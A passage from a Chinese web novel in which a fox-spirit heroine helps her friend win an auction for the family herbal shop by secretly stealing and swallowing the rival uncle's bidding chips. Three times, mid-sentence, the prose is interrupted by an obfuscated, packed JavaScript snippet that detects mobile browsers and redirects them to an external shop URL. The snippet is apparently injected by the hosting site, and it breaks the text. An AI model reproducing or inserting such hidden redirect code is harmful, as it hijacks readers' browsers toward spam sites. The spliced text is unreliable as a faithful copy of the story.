控制不住地掩面低泣,元和景手忙脚乱地想要找帕子,却有一只手更快地将一方素帕递了过来。 元纪辛表情凝重,道:“当务之急是弄清楚江乾的目的,尽快找到应对之策,哭是解决不了问题的。” 元和景承认此言不错,但他要是想安慰人的话,未免也太干巴了。 但话说再多也是无济于事,要论堂叔此行为何,其实并不难猜,福生堂的产业在江印月爷爷手中发家,以京城为总部,这些年在周边各州县也有分部设立。由于身体抱恙,总部的生意五年前就被交给了江印月父亲,而她堂叔江乾则是去了夔州分部。 江老膝下只有两个儿子,当年这样分配也由能力所定。话是这样说,可掌管总部,就意味着对福生堂所有产业拥有绝对掌控权,更意味着整个江家日后都将交予他一人手上……如此触手可及的权利和财富,又有谁甘心拱手让人呢? 待哭过一场后,江印月总算恢复了冷静,她将眼泪擦干,道:“堂叔的目的无非就是福生堂,但药行那边登记的是我爹的名字,就算他想要,也得先过拍卖这一关。” 元和景不解地问:“药行?拍卖?” “嗯。”江印月用力地点点头,眼中浮现些许希冀,“京城里所有做药材生意的商人都会加入药行,对这方面的大小事务进行统一商定,而福生堂的代表就是我爹,他名下的第一继承人写的是我的名字,按照规矩,父亲离世后福生堂的经营权应传至我手中。” “可眼下堂叔虎视眈眈,我断不能就这样送上门去。福生堂无人经营,便会由药行主持拍卖,将其暂且拍给有能力经营的其他药商,确保福生堂和京城的药材生意运行稳定。拍卖得来的钱财便交由母亲,等我能顺利继承后再做归还。” 或许是刚才哭过太多,江印月说到这里嗓子已经开始发干,声音都哑了不少。一旁的元纪辛很快将水递了过来,并趁着江印月喝水的空当自然接过话头—— “而江夫人已将福生堂的官帖交予江姑娘,只要我们参加此次拍卖会并拍下福生堂,江乾拿不出真正的官帖,他的狼子野心便会不攻自破。” 就目前来说,这或许是能阻止江乾、夺回福生堂和江家的最好办法,可仔细一想,元和景又觉得纰漏甚多,于是道:“我们又不是药行的人,如何能参加拍卖?再说了,江乾目前在福生堂名不正言不顺,他未必不想通过拍卖拿到经营权。” 话音落下的片刻,一旁许久未出声的祝长生有了动静,他道:“想参加拍卖并非难事,我与京城几家药铺老板的关系不错,或许能得其所助。而对于江乾,他或许跟我们想的差不多。” 碍于表面上还要维持兄友弟恭的面子,江乾定不会亲自下场,所以选择委托人参加拍卖,以夺得福生堂经营权,再暗中找到江印月并除去,对他来说无疑是损失最小、最为稳妥的办法。 如此,接下来的较量,便要在拍卖场上进行了。 40. 如何拍卖 “没错!” 江印月愤然站起,显然对此早有打算,但等她再转过身时,眼中已满是悲切和苍凉。 她将在场其他三人扫视过后,裙摆一掀便跪了下去。 元和景登时大惊,连忙倾身去扶,着急地道:“你这是做什么?” “我恳求你们帮帮我,帮我夺回福生堂,救出母亲!”方才平复的泪意又涌了上来,江印月已然泣不成声,“不管是钱还是人情,我日后定当加倍归还,若有食言,就让我一辈子……” “够了!” 元和景立马大声呵斥,阻止对方即将脱口而出的毒誓。 她用力拽了好几下,江印月终究是拗不过站了起来,这时元和景才又道:“你要是还那我当朋友,就别再说这些话。我今天既然来了,自然就是要帮到底的,我才不管什么钱什么人情。” 江印月神色复杂,滑落的泪水不知是为感动还是为难过,她嘴唇嗫嚅了好几下,终究没能说出一句话,只有一个泣不成声的“好”。 元和景看得心头又是一酸,只能又用力将她抱紧了些。 自两人认识后,江印月一直是那副没心没肺的样子。毕竟是从小被父母捧在手心长大的宝贝,前二十年几乎顺风顺水万事无忧,可如今双亲被害家产被夺,一夜间从天堂跌到地狱,这对她太过残忍,也太过现实了。 待江印月的情绪平复一些后,祝长生徐徐开口:“江姑娘莫要多想,江乾非法侵占他人财产,已触犯我朝律法,于情于理,本少卿都不会袖手旁观。” “药行那边需要沟通的地方还有许多,我便先行告辞。”说着,他又看向元和景,眉目温和,“万事小心,晚些时候我来接你回去。” 元和景点点头:“好。” 这时元纪辛也道:“我会派人留意江乾后续的动向,还有家附近的那些眼线,也都交给我处理。” 再粗略交待过后,两人便一齐离开了厅堂,元和景明白祝长生已和元纪辛说过之前的事,而且她跟上去也帮不到忙,只好陪在江印月身边,若她需要什么也有人能照应。 不出所料,江印月昨晚又是逃跑又是躲藏,再加上情绪波动很大,眼下已经精疲力竭,可日后如何还尚无定论,江夫人也随时可能有危险……任凭怎么劝,她也安不下心睡一觉。 元和景有意让她宽心,便从外面寻了个签筒回来,递过去后道:“别难过了,事情一定都会顺利解决的,不信你就摇一签算算,你之前也很信这个的。” 要论签筒,元和景也有许久没碰过了。当初的她几乎事事都要摇上一摇再做决断,但现在,她更相信自己的心,也更想要自己掌控未来的走向。 于是签筒也就成了可有可无的消遣工具,既如此,她用来哄人开心也无可厚非吧。 似是被对方眼中的坚定之色打动,江印月捏着签筒开始上下摇晃起来,木签在其中碰撞翻滚,“哗啦”声不停。不知过了多少下,有一根签子猛然飞出,背面朝上,声响清脆。 元和景忙不迭蹲身捡起,就着这原本的方向递给江印月,她心中早有定论,便对此没什么期待,只希望能给对方带来些许安慰。 可即便如此,她还是装作好奇的样子,催促道:“快看看是什么签,我猜是上吉。” 江印月把签子捏在掌心里,明明翻个面就能看到结果,她却越捏越紧,甚至肉眼可见地发起抖来。 元和景见状慌了神,忙道:“别担心,一定会是好结果的,我发誓。” “我知道……”江印月捏着签子放到心口处,声音已然哽咽沙哑,“我知道。” 而这时元和景才发现,她全身都在颤抖。 算来的结果终究不过虚构,最终到底是得偿所愿,还是事与愿违……签筒也无法说个明白。 之后的事并不怎么意外,江乾对外装出一副痛心不已的样子,实则内部早和一家药铺老板达成联盟,请对方参加拍卖会,帮他夺得福生堂的经营权。 而祝长生这边也已顺利联系到回春坊老板,期间也有其他药铺想上拍卖会争一争,可要么是不够资格,要么是被江乾软硬兼施地赶走……总之最后得以参加拍卖会的,也就只有两家药铺。 随着拍卖会提上日程,如何竞拍一事也当有个安排了。 “经药行商定,将福生堂经营权的最高拍价定为三万五千两,所以参与者需拿出能付得三万五千两的凭证,就目前来看,只有我们的回春坊和另一家名为济世堂的药铺满足条件。” 元纪辛单手负于背后,面色沉静地道:“我派人调查过济世堂,铺子不算大,开业以来营收平平,若想要一下子拿出这么多钱,背后必然少不了他人的支持。” 谈及此,江乾的名字已不言自明了。 “反正就是逃不了一场拍卖。”元和景双手捧着脸,没什么感情地道出结论。 “不错。”元纪辛道,“况且突然出现这么大一个竞争对手,江乾定会起疑心,这些日子大家还是小心为妙,尤其是江姑娘。” 江印月朝他感激地笑了笑:“放心吧,在竞拍结束之前,我就待在长史府哪也不去。” 说完这句,她又起身将一张纸铺展于桌面,道:“这些天我把竞拍规则好好研究了一番,发现其中还有不少关窍……” 不同于寻常“价高者得”的拍卖会,我朝为避免恶意抬价、扰乱拍场等问题,在这方面也做了明确规定,不仅要求提前对拍品进行估价,还要对参与者进行资产审查。 而正式的拍卖会被分为五场,按照估价为竞拍者分发同样数量的筹码,每轮每家同时竞价,价高者胜,率先赢下三局的一方可获得拍品,所投入筹码转为钱财归卖家所有。 “三万五千两就是三百五十个筹码,要分配在五局使用,最简单的方法就是一口气拿下前三局,但如果在第一局损耗太大,后面就很被动了。” 江印月一边在纸上写写画画着,一边同其他三人讲解,元纪辛刚听完便道:“想连续拿下三局风险太大,最开始不益投入太多……” “的确如此,所以我又想了另一种策略……” 眼见着两人有来有回地讨论了起来,元和景只能强忍下哈欠,坐直身子后伸了个很大的懒腰。 “怎么了?” 祝长生略带关切的声音传入耳,元和景摇摇头,道:“没怎么,就是觉得猜来猜去的也不是个办法,毕竟我们不是江乾肚子里的蛔虫,哪能知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17042816|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他到时候会怎么出价。” “是啊,你说得没错。”祝长生颇为认同地点点头,“现在能做的,也只是尽量多考虑到几种情况,争取将对方的每一步都提前算好,而拍卖场上具体如何走,还是要以随机应变为主。” 不确定性越大,也就意味着失败的可能越大。若是这次拍卖会出现一点差池,不仅福生堂拿不回来,就连江家母女日后的安危也要成大问题了。 正因为如此,江印月才会对此格外上心,吃饭睡觉的时间都恨不得拿去推演,笔墨也用掉不少……只希望能在这万千的不确定之中走出一条胸有成竹的路来。 元和景一向对这些猜人心思的事提不起兴趣,听着听着就发起呆来,透过窗户可窥见天边阴云厚重,是将要下大雨的征兆。 眼前摆着烂摊子,心里片刻也不得轻松,偏偏这阴恻恻的天气也来添乱,闷得人浑身上下都不舒服。 再回神时她便有些不耐烦,道:“与其这么不明不白地猜下去,还不如简单粗暴点,想个办法把他的筹码偷走,他总数比我们少,自然就拼不过我们。” 尚在讨论中的两人完全没理会这番胡言乱语,倒不是刻意忽略她,只是不用想也知道,平白无故让别人筹码消失,这几乎是不可能的事。 只有祝长生一本正经地回应:“按照律法,在拍卖等交易场合作弊是绝对不允许的事,违者轻则罚款重则斩首,你可知晓?” 元和景知晓对方这是在敲打自己,她捧着脸不服气地道:“江乾这些天的所作所为就称得上君子了?无故囚禁江夫人,害江印月有家不能回,勾结其他药铺抢夺福生堂经营权……随便拿一条出来都够他蹲大牢的了。” “既然他不仁,就别怪我们不义咯。” “胡闹!” 元纪辛一拍桌子,交谈声戛然而止,空气氛瞬间凝固起来。 “若人人都想着像你这样以暴制暴,以恶制恶,那要律法有何用,要大理寺和县衙又有何用?” 连天的操劳忙碌让男人眼下挂上乌青,眸中也布满疲惫。或许是长史的身份不允许他如此亵渎律法,又或许是别的原因,总之他在说出这些话时,隐约带了些泄愤的意味。 “拍卖会不日便要举行,我不求你在此时能做出多大贡献,但至少不要添乱,这也做不到吗?” 元和景不可置信地瞪大眼睛:“我添乱……” “你的意思是我这些天都在添乱?” 江印月见状不对,连忙站出来打圆场:“不是的小景,纪辛哥他不是这个意思……” “他就是这个意思!” 元和景猛地站起身来,过往被责骂教训的画面在脑海浮现,这些日子里被刻意忽视的情绪也都一股脑冒了出来,浑身血液几乎倒流,让她只想不管不顾地反驳—— “反正在你眼中,我从小就没做过什么对的事。既然如此,这件事我就不管了,你最好能用律法帮江印月赢下拍卖,否则我绝不会放过你。” 说完,她连一个眼神都没留下就大步离开了。 元纪辛自知方才失言,一时不知该作何反应。江印月刚想去追,就被祝长生拦住,只听得他道:“不必担心,我去追便是。” 41. 旁道亦道 屋内气氛压抑,外面也是一副阴沉沉要下雨的架势,即便是刚才不管不顾地喊了一通,元和景心里也丝毫不见松快,愤怒掺杂着委屈,让她走着走着就不自觉掉起眼泪来。 元纪辛本就和元敬瑭一个样,认为她做什么都是错……元和景早就知道的。 劈里啪啦的雨点顷刻间落了满地,泪水砸下的痕迹融入其中,教人再也辨不分明,她下意识抬头去看,绘着重瓣红梅的油纸伞面也就这么直直地撞入了眼。 正哑然时,只有清朗而温润的声音在背后很近的地方响起—— “时辰不早了,一起回家吧,夫人。” 丝雨纷纷,织起周身一片朦胧的沙沙声,来往行人步履匆忙,无人在意雨幕中这方小小的、安然无恙的天地。 积蓄了大半天的雨终于在此时落下,阴天舒了口气,之后吹来的风便是晓畅且清新的。呼吸间,元和景只觉得心头那些郁结也被吹散了个七七八八,只剩下明快的惬意,还有难以言明的悸动。 她不言,只是继续沿着街道信步往前走。 头顶那片遮挡稳得让人安心,凉风被行至身侧的男人遮挡了大半,随意垂下的左手早已被吹得冷透,可在被宽厚结实的掌心握紧后,便只留下逐渐变得真实的暖意。 心里最后那点疙瘩也荡然无踪,元和景总算大发慈悲地开了口,她想装成满不在乎的样子,语气却藏不住别扭:“拍卖会的策略想出来了?还真是厉害。” “没有万全之策,又何谈想出来?”祝长生没在意她的阴阳,声音温和,笑意清浅,“除了像你说的那样,把江乾的筹码偷走一些。” 心里因为这句认可多少舒服了些,但元和景并不表现,轻哼一声后道:“那律法和大理寺不管了?身边一个大理寺少卿一个长史,我可不敢知法犯法。” 这些都是元纪辛亲口所说,她现在主动提起甚至还表示顺从,可语气里却是半分赞同也无,总归是这样挖苦一番,才能在口舌上把前面受的委屈都讨回来。 但光从话语里听来,她如此算得上前后矛盾,祝长生也不恼,只是顺其自然地接道:“那江乾用的手段也的确称不上光明磊落,敌在暗我们在明,若就这么循规蹈矩下去,拍卖会的胜算就更微乎其微了。” “律法本不过用来惩善除恶的工具而已,若为了遵守而做事束手束脚,反为恶人提供便利,岂不是顾此失彼、本末倒置了?” 代表律法和代表投巧的两方交替,不过幸好元和景并非真心实意,所以也很快倒戈,她压下心里的得意,故作镇定地说:“还算你聪明。” 祝长生也很会看眼色行事,唇角笑意更深,乖顺地道:“不过是夫人教得好。” 雨势不减,行人早已躲至屋檐下,周围的店铺小摊也关了大半,于是这宽阔的街道上,也就只余一双人、一把伞而已。 泪水不知是何时干的,正好省去了擦掉的功夫,元和景心里通畅,脑中也清明起来,正色道:“既然要偷筹码,那必须先神不知鬼不觉地混到江乾身边,你有什么办法吗?” “办法自然是有,而且还不止一种,但要真正实施起来,那就只有夫人才能做到。” 要猜到这和狐族秘术有关并不难,毕竟是在人眼皮子底下做贼,凡人自然没这个本事,可这担子要是落在自己身上,那就很难不担心了。这么想着,元和景立马追问:“是什么办法?” 迎着对方好奇的目光,祝长生却只是浅浅一笑,抱着誓要将关子卖下去的姿态悠悠然道:“不着急,先回家吃过饭再说。” 雨连着下了三天,夏日入深带来的燥意皆在此被冲刷了去。天地像被洗过一般明净,云清风透,墙青瓦黛,院里院外的草木也凭此焕然一新,高低交相错,深绿映浅绿,翠色生得惹眼,却也生得人心头畅快。 祝长生照例每日去大理寺,元和景则是待在少卿府里,将偷筹码这件事从头到尾合计了许多次。期间元纪辛曾派人送信笺来,她统统没理,全都丢给了祝长生处置。 天在第四日放晴,而福生堂经营权的拍卖会,也在这时如期而至了。 此次拍卖全程经户部官员监督,由药行主持进行,祝长生作为大理寺少卿,也应以公证人身份到场。参与竞拍的为回春坊和济世堂两家,回春坊这边有元纪辛和江印月坐镇,而济世堂那边,定然是江乾出席不错。 药行离少卿府尚有些距离,车夫踩着时辰驾马而来,祝长生正准备上车,却听见对方不掩惊奇的声音:“少卿大人,今日夫人不一同去吗?” 祝长生脚下一顿,不消片刻又恢复如常。但这点小动作瞒不过元和景,她不仅“扑哧”一声笑出来,还得意洋洋地调侃道:“我们平时也没有经常一起出门吧,怎么这个车夫还挺上道的……不过呢他也没猜错,我现在的确是要跟你一起去。” “不,夫人今日在家休息。” 祝长生神情未变,淡声说道。话语间只是伸手轻拍几下官服宽大的袖子,在外人看来就像是掸了掸灰尘,可元和景的声音也在片刻后消失不见了。 这对车夫来说倒是没什么影响,毕竟他听不到,恭敬地应了“是”后就不再多说。 祝长生刚在车内坐定,方才那只被拍过的袖子里立马跳出个巴掌大的小狐狸,通体透明,边缘泛着淡淡金色。小狐狸站在他腿上,气势汹汹地道:“你竟然敢打我?” 男人唇角勾起弧度,一本正经地反驳:“并非打,只是提醒。” 说着,他将一只手将小狐狸托起,随后将其轻轻地放在了肩头,道:“先做正事,等夜里再让你打回来也不迟。” 元和景闻言也收回心思,在他肩头寻了个舒服的姿势趴下后才开口:“那就说好……若是在第四局发现江印月他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049343|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要输的话,我就去偷江乾的筹码了。” 有浅而温热的气息洒在脖颈,惹得祝长生一阵发痒,他强装着镇定应了声“嗯”,放在腿上的手指却不受控制地蜷缩起来。 刚到达药行,便有一男子带着随从迎了上来,对方看起来约莫四五十岁,面目促狭,笑容热情而虚伪,对祝长生道:“早听闻祝少卿大名,今日一见果然不同凡响,想必拍卖会有祝少卿见证,定能顺利进行,让我哥辛辛苦苦经营的福生堂有所归属,在此先多谢祝少卿了……” 话至于此,来人的身份自不用再多说。元和景现在还趴在祝长生肩膀上,倒正好把江乾谄媚的表情尽收眼底,她翻了个大大的白眼,只觉得胃里一阵翻涌,连昨夜的晚饭都要吐出来了。 任凭对方如此恭维,祝长生自是不动声色,笑意始终淡然而疏离,道:“江老板客气了,本少卿只是秉公行事,无需言谢。” 和其他几位官员见过面打过招呼后,祝长生便带着元和景进入拍场。因着此次拍卖事关重大,所以并没有多余的人参加,台下的位置皆无人落座,唯有二楼上左右的两个包厢里时不时传来人声,场内空旷安静,却也无端生出几分肃穆。 待两方竞拍者落座后,有专门的人前去检查,祝长生面容自若地信步跟上去。借着他的身份,元和景见到了于左边包厢坐定的江印月、元纪辛和回春坊老板,又在走进江乾的包厢时,被男人借翻看凭证的机会放在了桌上。 有术法加持,她不怕被别人发现,正要顺着桌布躲进桌子递下时,却发觉狐狸脑袋被人不轻不重地摸了两下。 与此同时,脑海中有一个声音响起,男人对她说:“万事小心。” 元和景抬头去看,却见对方还在泰然自若地和官员交谈着,她不懂祝长生是如何做到传音的,只能在脑子里默默地回:“放心吧。” 桌布触感顺滑,且垂落很长,元和景一路畅通无阻地溜进桌底,很快就听见有人说话—— “禀告老爷,跟您想得不错,小姐眼下就在对面。” 江乾冷哼一声,轻蔑地道:“我就知道,该说的都说过了?” “回老爷,大夫人的情况,还有大老爷的尸体,我全都按照您吩咐的转述给了小姐,不过拍卖会的事……小姐只说会考虑。” “考虑?我看她是不自量力,以为攀上元长史就能打败我,等拍卖会结束,我们叔侄俩新仇旧帐一起算。” 果不其然,江印月的动向也尽在他们掌握之中,还不知道那人究竟跟她说了些什么……元和景有些烦躁地闭了闭眼,只希望江印月不会被江乾的话所影响。 过了半刻不到,便有一道威严浑厚的声音在包厢外响起,最初的宣布和介绍过后,这场事关许多人命运的拍卖会也就此开始。 “同时竞拍,出手无悔……福生堂经营权第一场,请两方出价。” 42. 狐狸“小偷” 元和景藏在桌底,看不到上方是何情景,只听见有下人恭恭敬敬地道:“第一轮出价,请老爷定夺。” 她连忙竖起耳朵想要听得更清楚,等待半晌却是无事发生,只有下人很快又应了声“是”。 这江乾还真是狡诈,跟个狐狸似的。 刚想到这里,元和景觉得此话好像有些对不起某只真狐狸,于是忙不迭将念头收回去了。 得益于提前向祝长生问过拍卖会的具体流程,她大概能猜到,此时应该是下人将桌上指定数量的筹码放进托盘里,再从门口递给负责点数的人,等数目和真假都确定无误后,马上便会宣布出双方的出价情况,确定胜者。 而祝长生作为公证人,现在应当也坐在高台之上,神情肃然不怒自威,脊背直挺如半山青松,熨帖而庄严的大理寺制服加身,更添上几分肃穆正气。 这么想着,元和景脑子里冷不丁冒出一句话—— 一日不见,如隔三秋。 明明分开还不到一日,甚至连一个时辰都不到,怎么就想他想到如此境地了,真是奇怪。 她怅然若失地低头看看自己两只荧光爪子,很快,宣布结果的响亮声音再度响起: “回春坊出价一十个筹码,济世堂出价零个,第一轮,回春坊胜。” 元和景心里陡然一松,差点就要从地上跳起来。 不管怎么说都是个开门红,而且投入的成本也并不高,再赢两局还是很有希望的。 但江乾的实力果然也不容小觑,开局出零个明显是想骗筹码,如果江印月按照正常打法出的话,反而正好跳进他的圈套。 桌子上方,下人的声音带了些许迟疑:“老爷,这……” “无妨。” 从语气来看,江乾依然是气定神闲的姿态,仿佛一切尽在掌握之中,让人看不清他葫芦里在卖什么药。 “同时竞拍,出手无悔……福生堂经营权第二场,请两方出价。” 下人的询问再度出现,而江乾依旧没有出声。 元和景皱起眉头,内心陷入深深的怀疑之中。 按理说祝长生的术法不会出什么问题,所以江乾应该不至于发现她,可每到关键时候就隐去言语,难道是在防谁? 但元和景清楚记得,他们并没有做其他什么安排。 没什么多余的表达,头顶又传来下人不掩惊讶的声音:“老爷英明!” 不对,还有一个可能! 脑海中陡然有灵光闪过,元和景下意识就要惊呼出声,但江印月她们并不在这里,说话也只能打草惊蛇,她只好生生忍住了话头。 江印月能不能想到这一点……元和景现在也难下定论。 在一片度秒如年的焦急等待中,第二轮结果总算公布—— “回春坊出价七十个,济世堂出价零个,第二轮回春坊胜。” ……糟了。 不出所料,江乾把第一轮的法子再用了一遍,这回生生骗去七十个筹码。 现在回春坊只剩下二百七十个,济世堂却还有完整的三百五十个,接下来几局,江印月是无论如何也占不了上风了。 元和景幽幽叹了口气,心道是时候该准备执行偷筹码计划了。 正常的流程过后,第三局结果已出。 回春坊出价二百五十个,济世堂出价二百七十一个,济世堂胜。 “啧。”江乾声音里染上显而易见的得意,他抿过一口茶后,不慌不忙地道,“年轻人啊,就是急躁。” “对啊,小姐毕竟见识短浅,哪里比得上老爷高瞻远瞩?” “福生堂果然还是该交到有能力的人手中,若像小姐那样年轻莽撞,江家好不容易攒下的家业就要付诸东流了。” “……” 下人们轮番拍着马屁,把江乾哄得心花怒放,他们每说一句,元和景就冷哼一声,要不是现在有任务在身,她真想直接现出原形在这屋子里大闹一场。 这江乾如果真有本事,当年又怎会接管不了福生堂总部?反而现在用这等下作的手段暗中图谋。 马上就要开始第四局,再不做些什么恐怕就来不及了。 这样想着,元和景便从桌底钻出来,再四脚并用地扒着桌布往上爬,期间下人们还在不住地说着恭维话,被贬低的对象已然从江印月变成了她父亲,江乾虽嘴上客气,但笑声中的得意却怎么也藏不住。 听过两句漂亮话就以为胜券在握,别忘了拍卖还没结束呢。 也所幸是他们正忙着庆祝,所以无暇顾及到异常之处,包厢内分明无风,桌布有一块却前后摇晃起来,幅度并不大,却正是小狐狸形态的元和景正在努力爬上桌面。 亲眼见过爬桌布的四脚动物还是几个月大的小奶猫,尖尖的指甲将布料抓住,用力时浑身的毛都要炸开。她不确定自己此时是否炸毛了,只知道这段不过半身的距离,对现在的她来说无异于徒手登险峰。 好不容易扒上坚硬的桌面,元和景忍不住长长地出了口气。 “谁在喘气!” 元和景被这一声喝吓得差点魂飞魄散,下意识将嘴巴捂住了。 离江乾最近的那个下人一脸嫌弃地说:“阿山你吓我一跳,瞧这话说的,在场的人谁不喘气啊?” “我不是这个意思。”被称作阿山的人一脸笃定,眼神不住地在桌上逡巡着,“是很重的一声喘气,肯定不是我们,就从桌上发出来的,我绝对没听错。” 元和景没想到这人会如此敏锐,眼下呆在原地走也不是不走也不是,只能寄希望于在场的人千万别深究此事。 扁而圆的金属筹码就在离她几步远的距离,整整齐齐地堆了四摞,边缘还泛着光泽,粗略看来应有百来个。 江乾的狡猾元和景刚刚才见识过,现在突然出了这样的怪事,难保他不会临时起意将筹码换个位置安放。 她将呼吸声放得更轻了…… 一时静默。 几人狐疑地扫视过桌面后,有另一个下人开口道:“这桌上还能有人不成?现在正是老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085523|193175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷高兴的时候,我说你犯癫病能不能回去再犯,老爷的好心情都要被你喊没了。” “对啊,阿山你看看你……” “就是就是,阿山你又不是新来的,怎么还这么不懂事……” 阿山的辩解被淹没在一片埋怨中,只有江乾没作声,面上表情几经变换,眼底的怀疑却一直未褪去。 不知道是不是错觉,元和景总觉得他看往自己这边的次数好像变多了。 见到老爷这副模样,下人们也不敢说话了,都小心翼翼地看着江乾,像在等待他做出定夺。 “老爷,不如奴才把这筹码放到旁边桌子上去吧。”离江乾最近的那个下人突然提议道。 整个包厢里有不少椅子,却只有江乾坐着,而现在仅凭他一句话,就能决定这次拍卖会是何结局。 元和景心里捏了把汗,然后看见他将手一抬,道:“不必,反正第四局也快开始了,莫要在此关头多生事端。” “是,老爷。” 这点插曲很快被药行那边派来提醒的人带过,而元和景不敢犹豫,放轻了脚步走到比她高出两个身子的筹码旁。几次确定了无人注意这边后,便把外侧那两摞筹码都搬走了。 以后背为支点,她一只前爪举着一摞,就这么呲溜溜地顺着厚重而柔软的桌布滑了下去。 几月的学武让元和景的下盘也扎实不少,落地后筹码也一个没掉,接下来她就像为冬眠囤粮的松鼠一样,将筹码分好几趟运进桌子底下。 等大功告成后,她拍了拍手,一脸深藏功与名地躺在筹码堆上休息了。 第四轮出价的提示很快响起,依然有下人向江乾询问出多少,听上去正是阿山的声音。 “如今回春坊已剩不多,我们便出上二十一个,赠予一个以表尊重吧。” 其他几个下人像听到笑话似的笑起来,根据前三轮,目前回春坊只剩下二十个筹码,而江乾按理说还有七十九个,但元和景将自己身下的那堆数了数,竟然有五十个! ……怎么好像偷太多了? 少了近多半,明眼人都能看得出来,元和景心道不妙,揣揣不安地想了好一会办法,头顶却迟迟没有传来异动,一直到出价结束,都未有人出声质疑。 其他人忙着恭维江乾,没注意到也是情有可原,但这阿山可是要亲自点出二十一个的,怎么会对此毫无察觉…… 能跟来拍卖场的下人,不至于是不识数的,但阿山如果发现了的话,又为何一言不发? “济世堂出价二十一个,回春坊出价零个,第四轮济世堂胜。” 结果刚公布,江乾便不可置信地道:“竟然一个也没出,这丫头葫芦里究竟卖的什么药?” “老爷消消气,胜局还在我们手上,现在我们还有五十多……” 话音戛然而止,空气突然陷入让人窒息的沉默之中,元和景明白,他们应该发现筹码的异样了。 因为下一瞬,惊慌的惨叫声响起。 “没了……老爷没了!” 43. 医者无商 “你这说的是什么话?赶紧找啊!” 还不等江乾发话,下人们已经手忙脚乱地开始四下翻找起来,乒乒乓乓的声音响起一片,俨然这一变故已经让许多人慌了手脚。 而元和景也很及时地想到,桌底好像并不是一个万无一失的藏匿之所。 刚想到这里,就有人说:“难不成掉到桌底下去了?” 元和景连忙一个鲤鱼打挺坐起身来,四下逡巡无果后,她毅然决然捞起几个筹码塞进嘴里。 毕竟包厢里绝对不会被发现的地方,就只有她这具小狐狸身体了。 筹码并不算小,元和景原本还在担心吞不下去,但一阵让人有些窒息的堵塞感过去后,筹码竟然真的落了下去,掉进肚子里似乎还能听到“哐镗”的响声。 毕竟现在这副身体本就不是肉身,自然不能与平常同日而语,元和景心下大喜,又如法炮制地将筹码一堆堆往嘴里塞。 身体好像有些沉重了,可下人的气息越来越近,她顾不上其他。 桌布被猛然掀开时,她正好将最后几个也塞进了嘴里。 “怎么样,桌底下有吗?” “奇怪,这里也没有,是掉到哪里去了……” 被天光突袭的桌底又很快恢复黑暗,与此同时,元和景重心不稳地向一边歪去,肚子里接连有劈里啪啦的声音传来。 她感觉自己好像动不了了,转着眼珠子往下看时,只能看到圆球似的肚皮,还有因距离太远而无法触碰到的两只前爪。 …… 无言以对。 为免他们杀个回马枪,元和景干脆就保持这个状态不动,反正只是有点胃胀,而且金属的味道不太好,她发誓下次再也不吃了。 不过多时,第五轮宣布开始,下人再不敢开口问出价,江乾依旧一句话没说,只是将杯盏砸了个粉碎。 回春坊还有二十个,但江乾现在手里只有八个,即便数目对不上,可他能拿出来的也只有这么多,故而败局已定。 “江印月,你好大的本事。” 江乾忿忿说着,语气里的狠毒让人不寒而栗,宣布结果的话音刚落,他便起身大步离开了包厢。 元和景想追出去看看,可身体实在太重,她连四脚着地都成了困难。没过半刻,耳畔突然有熟悉而温和的声音传来—— “夫人,现下可还好?” 她眨了眨眼,非常确定这句话是在脑子里凭空出现的。 于是她便如法炮制,在脑海里说:“还好,就是太胀了,好想吐。” 那边很快传来一声愉悦至极的轻笑,男人柔声道:“无妨,现在就吐出来吧,等回家后我给你揉揉肚子。” 如此,元和景也不再忍耐,“哇”地一声就开始吐起来,筹码哗啦啦地洒落一地,接连发出脆响,滚过几圈后逐渐聚成随意的几小堆。 “还请大人明鉴,我拍卖会途中,我竟有五十个筹码不翼而飞,这实在蹊跷至极,求大人一定要为草民做主啊!” 江乾的声音由远及近,一众下人也忙不迭附和着。包厢门被猛地推开,紧接着便是阵阵杂乱的脚步声,元和景刚顺下口气,就溜到一个桌脚后躲了起来。 虽然他们看不见,但这桌底下待会就要发生大事,她倒是也不想站在事故现场接受那么多人的“注视”。 “这天下怎会有东西从眼皮底下溜走的事,你确定认真找过?若是无意掉在了什么角落里,监管不力的责任便是你自己担,药行也爱莫能助。” 这声音更显老态,却也更加威严,应是药行里极有名望的人,连江乾在他面前也是一副恭恭敬敬的样子,道:“草民已经将包厢翻了个遍啊,这些下人都可为我作证,此事关乎我江家家业,我又怎会给自己挖坑,定是那回春堂的人用了什么诡计……” “够了,真相尚未明了,切莫妄加揣测。”那人肃然下令,“来人,将这包厢仔细搜查一遍,看看江老爷的筹码究竟掉到了何处。” “是。” 又有一群人涌了进来,开始劈里啪啦地四下翻找,元和景现在就只等好戏开演,于是又不动声色地往桌脚后藏了藏。 很快,桌布又被大力掀开,一个身披软甲、士兵模样的男子搜到了这里。 “顾老,筹码在此。” 禀报过后,命令接踵而至—— 